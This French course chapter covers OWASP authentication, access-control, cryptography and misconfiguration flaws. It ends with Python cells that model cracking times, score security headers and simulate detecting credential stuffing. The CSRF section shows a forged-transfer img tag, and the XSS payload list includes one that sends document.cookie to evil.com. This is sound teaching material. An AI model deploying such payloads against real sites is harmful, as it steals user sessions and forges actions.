11. OWASP Top 10 — Authentification, autorisation et cryptographie#

Introduction#

L’authentification brisée (A07:2021), les défaillances cryptographiques (A02:2021) et la mauvaise configuration de sécurité (A05:2021) représentent ensemble près de 40 % des incidents web répertoriés. Ce chapitre couvre les mécanismes d’attaque et les contre-mesures pour les vulnérabilités liées à l’identité, aux sessions et à la cryptographie applicative.


Broken Authentication#

Credential Stuffing#

Le credential stuffing exploite les bases de données de couples (identifiant, mot de passe) issus de fuites antérieures. L’attaquant teste mécaniquement ces credentials sur d’autres services, pariant sur la réutilisation de mots de passe.

Statistiques observées :

  • Taux de succès moyen : 0,1 % à 2 % selon la cible et la qualité de la liste.

  • Les listes les plus utilisées (Collection #1, RockYou 2021) contiennent des milliards d’entrées.

  • Un taux de 0,5 % sur une liste de 1 million représente 5 000 comptes compromis.

Contre-mesures :

  • MFA (Multi-Factor Authentication) — rend les credentials seuls insuffisants.

  • Détection d’anomalies : volume de tentatives depuis une même IP, user-agents inhabituels, vitesse de frappe robotique.

  • Vérification des credentials contre des bases de fuites connues (Have I Been Pwned API).

  • CAPTCHA adaptatif sur les formulaires de connexion.

Brute Force et entropie des mots de passe#

L’entropie d’un mot de passe mesure le nombre de bits d’information qu’il contient :

H = log₂(N^L)  = L × log₂(N)

où N est la taille de l’alphabet et L la longueur.

Alphabet

Exemple

N

12 caractères

16 caractères

Chiffres seuls

PIN

10

39,9 bits

53,2 bits

Minuscules

26

56,4 bits

75,2 bits

Alphanumérique

62

71,5 bits

95,3 bits

Tous ASCII imprimables

95

78,8 bits

105,1 bits

Passphrase (BIP39)

2048

176 bits (16 mots)

Session Fixation#

L’attaquant impose un identifiant de session connu à la victime avant son authentification. Après connexion, la session fixée est désormais authentifiée.

Protection : régénérer l’identifiant de session à chaque authentification (session_regenerate_id(true) en PHP, session.cycle_key() en Flask).

Tokens prédictibles#

Les jetons de session basés sur des PRNG faibles ou des timestamps peuvent être prédits par énumération. Utiliser des CSPRNG (os.urandom(), secrets.token_hex(32)).


IDOR — Insecure Direct Object Reference#

Principe#

L’IDOR est une vulnérabilité de contrôle d’accès où un attaquant modifie une référence à un objet (ID, chemin, nom de fichier) pour accéder à des ressources appartenant à d’autres utilisateurs.

GET /api/factures/1042   → ma facture (légitime)
GET /api/factures/1043   → facture d'un autre utilisateur (IDOR)

Escalade horizontale vs verticale#

  • Horizontale : accès aux ressources d’un utilisateur de même niveau de privilège.

  • Verticale : accès aux fonctions ou ressources d’un rôle supérieur.

GET /api/users/123/profil → Alice accède à son profil
GET /api/users/124/profil → Alice accède au profil de Bob (horizontal)
GET /api/admin/users      → Alice accède aux fonctions d'administration (vertical)

Correction : chaque requête doit vérifier côté serveur que l’objet demandé appartient à l’utilisateur authentifié. Ne jamais faire confiance au client pour cette vérification.


Cryptographic Failures#

Algorithmes faibles pour les mots de passe#

MD5 et SHA-1 sont des fonctions de hachage généralistes, non conçues pour stocker des mots de passe. Leurs performances élevées deviennent une vulnérabilité :

Algorithme

Vitesse (GPU RTX 3090)

Temps pour espace 8 chars

MD5

~70 milliards H/s

Quelques heures

SHA-1

~25 milliards H/s

Quelques jours

SHA-256

~10 milliards H/s

Quelques semaines

bcrypt (cost=12)

~20 000 H/s

Des siècles

Argon2id

~10 000 H/s

Des siècles

Règle : utiliser exclusivement bcrypt, scrypt, Argon2id pour le stockage de mots de passe.

IV réutilisés#

En mode CBC ou CTR, la réutilisation d’un IV avec la même clé permet des attaques sur le chiffré. En CTR, deux chiffrés avec le même keystream permettent de retrouver XOR des plaintexts.

Clés codées en dur#

Des clés cryptographiques dans le code source ou les fichiers de configuration versionnés sont exposées à quiconque accède au dépôt.

Détection de secrets dans les dépôts

Outils : truffleHog, gitleaks, detect-secrets. Intégrer un hook pre-commit et une analyse CI/CD pour bloquer les commits contenant des secrets.


Security Misconfiguration#

Credentials par défaut#

Les équipements réseau, interfaces d’administration, bases de données livrés avec des identifiants par défaut représentent une surface d’attaque massive. Le botnet Mirai (2016) a compromis des millions d’objets connectés uniquement avec des credentials par défaut.

Headers HTTP de sécurité#

Header

Protection

Content-Security-Policy

Prévient XSS, clickjacking, injection de ressources

Strict-Transport-Security

Force HTTPS, prévient downgrade SSL

X-Frame-Options

Prévient le clickjacking (iframe)

X-Content-Type-Options: nosniff

Empêche le MIME sniffing

Referrer-Policy

Contrôle les données transmises dans l’en-tête Referer

Permissions-Policy

Restreint l’accès aux APIs navigateur (caméra, micro, géo)

Configuration CSP minimale recommandée :

Content-Security-Policy: default-src 'self';
  script-src 'self' 'nonce-{RANDOM}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'

CSRF — Cross-Site Request Forgery#

Mécanisme d’exploitation#

Le CSRF force un navigateur authentifié à envoyer une requête non désirée vers un site cible. Le navigateur inclut automatiquement les cookies de session.

<!-- Page malveillante hébergée sur evil.com -->
<img src="https://banque.fr/virement?montant=1000&dest=attaquant">
<!-- Ou avec un formulaire auto-soumis en JavaScript -->

Politique SameSite des cookies#

Valeur

Comportement

Strict

Cookie jamais envoyé dans les requêtes cross-site

Lax

Cookie envoyé uniquement pour la navigation top-level (GET)

None

Cookie envoyé dans tous les contextes (requiert Secure)

Exemple de configuration sécurisée :

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

Tokens anti-CSRF#

Le pattern double-submit cookie ou le token synchronizer (CSRF token dans le formulaire + vérification serveur) garantissent que la requête provient d’une page générée par le serveur.

<!-- Formulaire avec token anti-CSRF -->
<form method="POST" action="/virement">
  <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
  ...
</form>

XSS — Cross-Site Scripting#

Trois types de XSS#

  • Reflected (non persistant) : payload dans l’URL, retourné immédiatement dans la réponse. Requiert de tromper la victime pour cliquer sur un lien.

  • Stored (persistant) : payload stocké en base de données, exécuté pour chaque visiteur de la page.

  • DOM-based : manipulation du DOM côté client sans passer par le serveur (lecture de location.hash, document.referrer).

Vecteurs d’injection XSS#

Payloads XSS courants

Ces exemples sont à des fins pédagogiques uniquement.

  • <script>alert(document.cookie)</script>

  • <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">

  • javascript:void(0) dans un href

  • <svg onload="malware()">

  • "><script> pour sortir d’un attribut HTML

Défenses XSS#

  1. Échappement contextuel : HTML-encode dans le contexte HTML, JS-encode dans le contexte JavaScript.

  2. Content Security Policy : restreint les sources de scripts autorisées.

  3. Cookies HttpOnly : inaccessibles depuis JavaScript même en cas de XSS.

  4. Cookies Secure : transmis uniquement sur HTTPS.

  5. Bibliothèques de sanitization : DOMPurify (JavaScript), bleach (Python).


Cellules Python exécutables#

Hide code cell source

import math
import hashlib
import time
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.ticker as mticker
import seaborn as sns

Temps de crack selon l’entropie et l’algorithme de hachage#

sns.set_theme(style="whitegrid", palette="muted", font_scale=1.1)

def entropie_bits(longueur, taille_alphabet):
    """Entropie d'un mot de passe aléatoire uniforme."""
    return longueur * math.log2(taille_alphabet)

def temps_crack_secondes(entropie_bits, hashes_par_sec):
    """Temps moyen pour craquer par force brute (moitié de l'espace)."""
    espace = 2 ** entropie_bits
    return espace / (2 * hashes_par_sec)

# Vitesses de hachage simulées (GPU RTX 3090, valeurs approximatives)
vitesses = {
    "MD5 (70 Gh/s)":      70_000_000_000,
    "SHA-256 (10 Gh/s)":  10_000_000_000,
    "bcrypt cost=10 (25 kH/s)": 25_000,
    "Argon2id (10 kH/s)": 10_000,
}

# Entropies testées : de 20 à 128 bits
entropies = np.linspace(20, 128, 200)

# Références temporelles
refs = {
    "1 seconde":  1,
    "1 heure":    3_600,
    "1 an":       3.156e7,
    "100 ans":    3.156e9,
    "Âge univers": 4.3e17,
}

fig, ax = plt.subplots(figsize=(12, 6))
colors = sns.color_palette("muted", len(vitesses))

for (algo, vitesse), col in zip(vitesses.items(), colors):
    temps = [temps_crack_secondes(e, vitesse) for e in entropies]
    ax.semilogy(entropies, temps, label=algo, color=col, linewidth=2.5)

# Lignes de référence temporelles
ref_colors = ["#aaaaaa", "#888888", "#666666", "#444444", "#222222"]
for (label, val), rcol in zip(refs.items(), ref_colors):
    ax.axhline(y=val, color=rcol, linestyle=":", linewidth=1.2, alpha=0.8)
    ax.text(125, val * 1.5, label, fontsize=8, color=rcol, ha="right")

ax.set_xlabel("Entropie du mot de passe (bits)")
ax.set_ylabel("Temps de crack moyen (secondes, échelle log)")
ax.set_title("Temps de crack par brute force selon l'entropie et l'algorithme de hachage", fontsize=12, fontweight="bold")
ax.legend(title="Algorithme / vitesse GPU", fontsize=9)
ax.yaxis.set_major_formatter(mticker.LogFormatterSciNotation())
ax.set_xlim(20, 128)
plt.show()

# Exemples numériques
print("Exemples de temps de crack pour un mot de passe alphanumérique (62 chars) :")
print(f"{'Longueur':<12} {'Entropie':<14} {'MD5':<22} {'bcrypt-10':<22} {'Argon2id':<22}")
print("-" * 90)
for lg in [6, 8, 10, 12, 16]:
    e = entropie_bits(lg, 62)
    t_md5  = temps_crack_secondes(e, 70_000_000_000)
    t_bc   = temps_crack_secondes(e, 25_000)
    t_ar   = temps_crack_secondes(e, 10_000)
    def fmt(s):
        if s < 60:       return f"{s:.1f} s"
        if s < 3600:     return f"{s/60:.1f} min"
        if s < 86400:    return f"{s/3600:.1f} h"
        if s < 3.156e7:  return f"{s/86400:.0f} jours"
        if s < 3.156e9:  return f"{s/3.156e7:.0f} ans"
        return f"{s/3.156e9:.2e} siècles"
    print(f"{lg:<12} {e:<14.1f} {fmt(t_md5):<22} {fmt(t_bc):<22} {fmt(t_ar):<22}")
_images/ea4287634ac35cb12245ead3974acac945fd14ccd4000c13b2b57f2d3fff91ce.png
Exemples de temps de crack pour un mot de passe alphanumérique (62 chars) :
Longueur     Entropie       MD5                    bcrypt-10              Argon2id              
------------------------------------------------------------------------------------------
6            35.7           0.4 s                  13 jours               33 jours              
8            47.6           26.0 min               1.38e+00 siècles       3.46e+00 siècles      
10           59.5           69 jours               5.32e+03 siècles       1.33e+04 siècles      
12           71.5           7.30e+00 siècles       2.04e+07 siècles       5.11e+07 siècles      
16           95.3           1.08e+08 siècles       3.02e+14 siècles       7.55e+14 siècles      

Scoring des headers HTTP de sécurité#

sns.set_theme(style="whitegrid", palette="muted", font_scale=1.1)

# Définition des headers et de leur poids dans le score global
HEADERS_CONFIG = {
    "Content-Security-Policy":    {"poids": 30, "description": "Protection XSS / injection de ressources"},
    "Strict-Transport-Security":  {"poids": 20, "description": "Force HTTPS"},
    "X-Frame-Options":            {"poids": 10, "description": "Protection clickjacking"},
    "X-Content-Type-Options":     {"poids": 10, "description": "Prévient MIME sniffing"},
    "Referrer-Policy":            {"poids": 10, "description": "Contrôle du referrer"},
    "Permissions-Policy":         {"poids": 10, "description": "Restreint les APIs navigateur"},
    "X-XSS-Protection":           {"poids":  5, "description": "Filtre XSS navigateur (obsolète)"},
    "Cache-Control":              {"poids":  5, "description": "Contrôle du cache"},
}

def scorer_headers(headers_presents):
    """Calcule le score de sécurité pour un ensemble de headers."""
    score = 0
    for h in headers_presents:
        if h in HEADERS_CONFIG:
            score += HEADERS_CONFIG[h]["poids"]
    return min(score, 100)

# Profils simulés de réponses HTTP de différents services
profils = {
    "Application sécurisée": [
        "Content-Security-Policy",
        "Strict-Transport-Security",
        "X-Frame-Options",
        "X-Content-Type-Options",
        "Referrer-Policy",
        "Permissions-Policy",
        "Cache-Control",
    ],
    "API bien configurée": [
        "Strict-Transport-Security",
        "X-Content-Type-Options",
        "Referrer-Policy",
        "Cache-Control",
    ],
    "Site web standard": [
        "X-Frame-Options",
        "X-Content-Type-Options",
        "Strict-Transport-Security",
    ],
    "Application legacy": [
        "X-XSS-Protection",
        "X-Frame-Options",
    ],
    "Aucun header de sécurité": [],
}

scores = {profil: scorer_headers(headers) for profil, headers in profils.items()}
noms = list(scores.keys())
valeurs = list(scores.values())

# Couleur selon le score
def couleur_score(s):
    if s >= 75: return sns.color_palette("muted")[2]   # vert
    if s >= 45: return sns.color_palette("muted")[1]   # bleu
    if s >= 25: return sns.color_palette("muted")[4]   # orange
    return sns.color_palette("muted")[3]               # rouge

couleurs = [couleur_score(s) for s in valeurs]

fig, axes = plt.subplots(1, 2, figsize=(14, 5))

# Bar chart des scores
bars = axes[0].barh(noms, valeurs, color=couleurs, edgecolor="white", height=0.6)
axes[0].set_xlim(0, 105)
axes[0].set_xlabel("Score de sécurité (/100)")
axes[0].set_title("Score de headers HTTP par profil", fontsize=11, fontweight="bold")
for bar, val in zip(bars, valeurs):
    axes[0].text(val + 1, bar.get_y() + bar.get_height() / 2,
                 f"{val}/100", va="center", fontsize=9, fontweight="bold")
axes[0].axvline(x=75, color="green", linestyle="--", linewidth=1.5, alpha=0.7, label="Seuil recommandé (75)")
axes[0].axvline(x=45, color="orange", linestyle="--", linewidth=1.5, alpha=0.7, label="Seuil acceptable (45)")
axes[0].legend(fontsize=8)

# Heatmap : présence/absence des headers par profil
import numpy as np
headers_liste = list(HEADERS_CONFIG.keys())
matrice = np.zeros((len(profils), len(headers_liste)))
for i, (_, headers) in enumerate(profils.items()):
    for j, h in enumerate(headers_liste):
        matrice[i, j] = 1 if h in headers else 0

sns.heatmap(
    matrice,
    annot=False,
    cmap=sns.color_palette(["#FFCDD2", "#C8E6C9"], as_cmap=True),
    xticklabels=[h.replace("-", "-\n") for h in headers_liste],
    yticklabels=noms,
    linewidths=1,
    linecolor="white",
    vmin=0, vmax=1,
    cbar=False,
    ax=axes[1]
)
axes[1].set_title("Présence des headers de sécurité (vert = présent)", fontsize=11, fontweight="bold")
axes[1].tick_params(axis="x", labelsize=7, rotation=45)
axes[1].tick_params(axis="y", labelsize=8)

fig.suptitle("Analyse des headers HTTP de sécurité", fontsize=13, fontweight="bold")
plt.show()

print("\nDétail des scores :")
for profil, score in scores.items():
    niveau = "Excellent" if score >= 75 else "Acceptable" if score >= 45 else "Insuffisant" if score >= 25 else "Critique"
    print(f"  {profil:<35} : {score:3}/100  [{niveau}]")
_images/952a3b40057e9029541c07dc2d6a2fea2c5087ad839a00cd9f40379f07f23992.png
Détail des scores :
  Application sécurisée               :  95/100  [Excellent]
  API bien configurée                 :  45/100  [Acceptable]
  Site web standard                   :  40/100  [Insuffisant]
  Application legacy                  :  15/100  [Critique]
  Aucun header de sécurité            :   0/100  [Critique]

Simulation de détection de credential stuffing#

sns.set_theme(style="whitegrid", palette="muted", font_scale=1.1)

import collections
import random

random.seed(42)

# Simulation d'un flux de tentatives de connexion sur 10 minutes (600 secondes)
# Mélange de trafic légitime et d'une attaque de credential stuffing

def simuler_trafic(duree_s=600, n_users_legit=50, taux_attaque_debut=180):
    """
    Génère des événements de connexion.
    Retourne une liste de (timestamp, ip, username, succes).
    """
    evenements = []

    # Trafic légitime : 50 utilisateurs, ~1 connexion par minute chacun
    ips_legit = [f"192.0.2.{i}" for i in range(1, 51)]
    users_legit = [f"user_{i:03d}" for i in range(1, 51)]
    for _ in range(200):
        ts = random.uniform(0, duree_s)
        ip = random.choice(ips_legit)
        user = random.choice(users_legit)
        succes = random.random() < 0.95  # 95% de succès pour les légitimes
        evenements.append((ts, ip, user, succes))

    # Attaque de credential stuffing : 3 IPs d'attaque, à partir de t=180s
    ips_attaque = ["10.13.37.1", "10.13.37.2", "10.13.37.3"]
    n_comptes_liste = 5000  # taille de la liste de credentials
    for i in range(n_comptes_liste):
        ts = taux_attaque_debut + i * 0.05  # 20 tentatives/seconde
        if ts > duree_s:
            break
        ip = random.choice(ips_attaque)
        user = f"victime_{i:04d}"
        succes = random.random() < 0.005  # 0.5% de succès
        evenements.append((ts, ip, user, succes))

    return sorted(evenements, key=lambda x: x[0])

evenements = simuler_trafic()

# Calcul des métriques par fenêtre temporelle (fenêtres de 10 secondes)
fenetres = np.arange(0, 610, 10)
tentatives_par_fenetre = np.zeros(len(fenetres) - 1)
echecs_par_fenetre = np.zeros(len(fenetres) - 1)
ips_uniques_par_fenetre = [set() for _ in range(len(fenetres) - 1)]

for ts, ip, user, succes in evenements:
    idx = int(ts // 10)
    if idx < len(tentatives_par_fenetre):
        tentatives_par_fenetre[idx] += 1
        if not succes:
            echecs_par_fenetre[idx] += 1
        ips_uniques_par_fenetre[idx].add(ip)

n_ips_uniques = np.array([len(s) for s in ips_uniques_par_fenetre])
temps_milieu = (fenetres[:-1] + fenetres[1:]) / 2

# Seuils d'alarme
SEUIL_TENTATIVES = 50   # par fenêtre de 10 secondes
SEUIL_ECHECS     = 40
SEUIL_IPS        = 5

fig, axes = plt.subplots(3, 1, figsize=(13, 9), sharex=True)

# Tentatives totales
axes[0].bar(temps_milieu, tentatives_par_fenetre, width=9,
            color=[sns.color_palette("muted")[3] if v > SEUIL_TENTATIVES
                   else sns.color_palette("muted")[0] for v in tentatives_par_fenetre],
            alpha=0.8, edgecolor="none")
axes[0].axhline(y=SEUIL_TENTATIVES, color="red", linestyle="--", linewidth=2, label=f"Seuil ({SEUIL_TENTATIVES}/10s)")
axes[0].set_ylabel("Tentatives / 10 s")
axes[0].set_title("Détection de credential stuffing par rate limiting", fontsize=12, fontweight="bold")
axes[0].legend(fontsize=9)

# Échecs d'authentification
axes[1].bar(temps_milieu, echecs_par_fenetre, width=9,
            color=[sns.color_palette("muted")[3] if v > SEUIL_ECHECS
                   else sns.color_palette("muted")[1] for v in echecs_par_fenetre],
            alpha=0.8, edgecolor="none")
axes[1].axhline(y=SEUIL_ECHECS, color="red", linestyle="--", linewidth=2, label=f"Seuil ({SEUIL_ECHECS}/10s)")
axes[1].set_ylabel("Échecs / 10 s")
axes[1].legend(fontsize=9)

# IPs sources uniques
axes[2].bar(temps_milieu, n_ips_uniques, width=9,
            color=[sns.color_palette("muted")[3] if v > SEUIL_IPS
                   else sns.color_palette("muted")[2] for v in n_ips_uniques],
            alpha=0.8, edgecolor="none")
axes[2].axhline(y=SEUIL_IPS, color="red", linestyle="--", linewidth=2, label=f"Seuil ({SEUIL_IPS} IPs/10s)")
axes[2].set_xlabel("Temps (secondes)")
axes[2].set_ylabel("IPs uniques / 10 s")
axes[2].legend(fontsize=9)

# Annotation du début de l'attaque
for ax in axes:
    ax.axvline(x=180, color="orange", linestyle="-.", linewidth=2, alpha=0.8)
axes[0].annotate("Début attaque (t=180s)", xy=(180, axes[0].get_ylim()[1] * 0.8),
                 xytext=(220, axes[0].get_ylim()[1] * 0.85),
                 fontsize=9, color="orange",
                 arrowprops=dict(arrowstyle="->", color="orange"))

plt.show()

# Statistiques de l'attaque simulée
total_attaque = sum(1 for ts, ip, _, _ in evenements if ip.startswith("10.13.37"))
succes_attaque = sum(1 for ts, ip, _, ok in evenements if ip.startswith("10.13.37") and ok)
print(f"Résumé de l'attaque simulée :")
print(f"  Tentatives totales  : {total_attaque:,}")
print(f"  Succès (compromis)  : {succes_attaque:,}")
print(f"  Taux de réussite    : {100*succes_attaque/total_attaque:.2f}%")
print(f"  Alarmes déclenchées : {int(np.sum(tentatives_par_fenetre > SEUIL_TENTATIVES))} fenêtres sur {len(tentatives_par_fenetre)}")
_images/0836ac26703125f85a4f098b37b8e3372894dca240ee2d0d02fb9a4da9fd7ae4.png
Résumé de l'attaque simulée :
  Tentatives totales  : 5,000
  Succès (compromis)  : 16
  Taux de réussite    : 0.32%
  Alarmes déclenchées : 25 fenêtres sur 60

Résumé#

  1. Le credential stuffing tire profit de la réutilisation des mots de passe entre services. Le MFA est la contre-mesure la plus efficace ; le rate limiting et la vérification contre des bases de fuites complètent la défense.

  2. L’entropie d’un mot de passe détermine sa résistance au brute force. La séparation bcrypt/Argon2id vs MD5/SHA-256 représente un facteur de résistance de plusieurs millions à plusieurs milliards.

  3. L’IDOR est une vulnérabilité de contrôle d’accès pure, non cryptographique. La vérification de propriété côté serveur, à chaque requête, est la seule protection fiable.

  4. Les défaillances cryptographiques incluent le stockage sans sel avec MD5/SHA-1, la réutilisation d’IV, et les clés codées en dur. La règle d’or : utiliser des algorithmes dédiés au stockage de mots de passe et gérer les secrets via des vaults.

  5. Les headers HTTP de sécurité constituent une défense en profondeur. Un CSP bien configuré est la protection la plus puissante contre XSS. HSTS prévient les attaques de downgrade SSL.

  6. SameSite=Lax ou Strict sur les cookies de session élimine la majorité des attaques CSRF sans nécessiter de token explicite, tout en permettant la navigation normale.

  7. Le XSS stocké est le plus dangereux : il affecte tous les visiteurs d’une page, à chaque chargement, sans action de phishing. La priorité est l’échappement contextuel des sorties HTML et un CSP à base de nonces.